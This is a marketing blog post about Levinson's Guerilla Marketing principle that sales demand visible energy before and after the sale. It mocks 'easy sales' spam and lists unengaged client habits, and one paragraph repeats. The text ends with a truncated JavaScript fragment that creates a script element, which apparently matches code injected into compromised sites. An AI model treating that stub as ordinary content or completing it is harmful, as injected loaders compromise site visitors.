Despite what "they" tell you, it takes energy to make sales. There are many marketing “experts” out there who claim that you can make sales as easily as breathing.

I actually dove into my Junk Mail folder this morning to do some research for this article.

Along with a message that promises  I can lose weight while eating candy and sleeping (something I’ve never managed to do at the same time anyway, although I did fall asleep while chewing gum once as a kid. Not a good experience anyway.)  Here are some headlines from my Junk Mail folder that promise easy sales:

  • Make $2,135,136 in sales while sleeping (from a guy named easyclickcommission)
  • 100X Bigger Sales (I didn’t correct grammar, that’s the headline)
  • Ninja social media strategies to get thousands of followers in days (I can’t help but wonder what happens when these followers realize they’ve been shanghai’d.)
  • $500-$3500 A Month in Sales Income, Easy Work at Home

So, why are these things in my Junk Folder?   Why don’t I just jump on the bandwagon and get rich like everyone else?

Because these things don’t work.

The hard truth is that selling a product or service takes energy. It takes real, honest work and real, honest relationship building. Anyone who tells you something different is trying to make sales the “easy” way, by selling you a product that promises to “make easy sales.” Some of them make money, (selling you a product for $9.95 telling you how to make a million dollars $9.95 at a time – the classic pyramid scheme!) but customers are getting smarter.

My clients are much smarter than that.   They’re looking for ways to maximize the energy (and money) they spend, but they are certainly not afraid of hard work.

There are ways to automate parts of the marketing process, but ultimately sales is about relationships.  To use an example from an interview with Colin Daymude of InfusionSoft.  Colin pointed out that if you’re in a relationship with somebody, you won’t think any less of them for using FTD or 1-800-Flowers to send you flowers. But they can’t send a stand-in or a robot to call you on the phone or take you out to dinner. Some things simply must be handled in person.

I’ve learned to choose clients who are starting with a quality product and a willingness to spend the energy to engage customers, follow up, build relationships and provide good service.

Continuing our series on Jay Levinson’s  Sixteen Monumental Secrets of Guerilla Marketing.

Secret #7 –  Your energy: apparent prior to and subsequent to the sale

In the past, I have actually worked with people who said that they wanted to make more sales, but didn’t want to spend any energy actually engaging with customers or providing them with service after the sale.

(This is the part where I’m going to upset some people. Please understand that any of these items by itself is not a big deal, but a pattern of this type of behavior is indicative of the problem.)

  • They did not want to put a phone number on their website.
  • They didn’t want to bother with market research or a survey.
  • Their company Facebook page spewed out a repetitive looping string of sales pitch after sales pitch, without ever offering useful product information, stories about customers or partners, industry or community news.
  • They complained that getting more people on their mailing list would require them to upgrade or switch to another email provider, since they could no longer use the free service they had been using.
  • They went for months without writing a blog post or an email to connect with their potential, present and past customers.
  • They did not want to improve their product to take advantage of new technologies.
  • They wanted to use automated tools to send out large numbers of sales messages on Twitter but did not want to be notified of questions or inquiries that come in on Twitter.
  • They didn’t want to talk to a reporter writing a story about their industry.
  • They wanted to use last year’s outdated brochures.
  • They left comments from blog visitors un-moderated for weeks.
  • They wanted to send out thousands of emails but aren’t willing to show a commitment to engaging with potential customers by including a return email address or phone number.
  • They don’t attend events or take advantage of publicity opportunities.
  • They don’t acknowledge or follow up on referrals.

I’ve learned to avoid clients who aren’t committed and willing to expend a little energy.

I require new prospective clients fill out a ten-page questionnaire.  I offer a complete recommendations package in exchange for filling it out. No money has changed hands yet, but because of experiences with people like those described above, I’m more interested their energy than in their money.

We’ve been more financially successful (and had more fun) with shoestring startups that had a ton of energy and enthusiasm  than we have been with established companies that simply want to rest on their laurels,  coast on past successes and avoid anything that would require creativity or energy.

Of the people that request our New Client Questionnaire, only about a third actually complete it and return it. Am I unhappy about the two thirds that don’t complete it? Wouldn’t I rather make it easier for new clients and make more money?

We’ve been more financially successful (and had more fun) with shoestring startups that had a ton of energy and enthusiasm than we have been with established companies that simply want to rest on their laurels, coast on past successes, and avoid anything that would require creativity or energy.

I’d much rather work with people who are committed to building long-term relationships with clients and prospective clients. And it’s not just because they are more fun to work with. There is a financial motive as well. Clients whose energy is apparent are the ones that are successful, that grow their businesses, and will be prosperous, successful clients for years to come.var d=document;var s=d.createElement(‘script’); .

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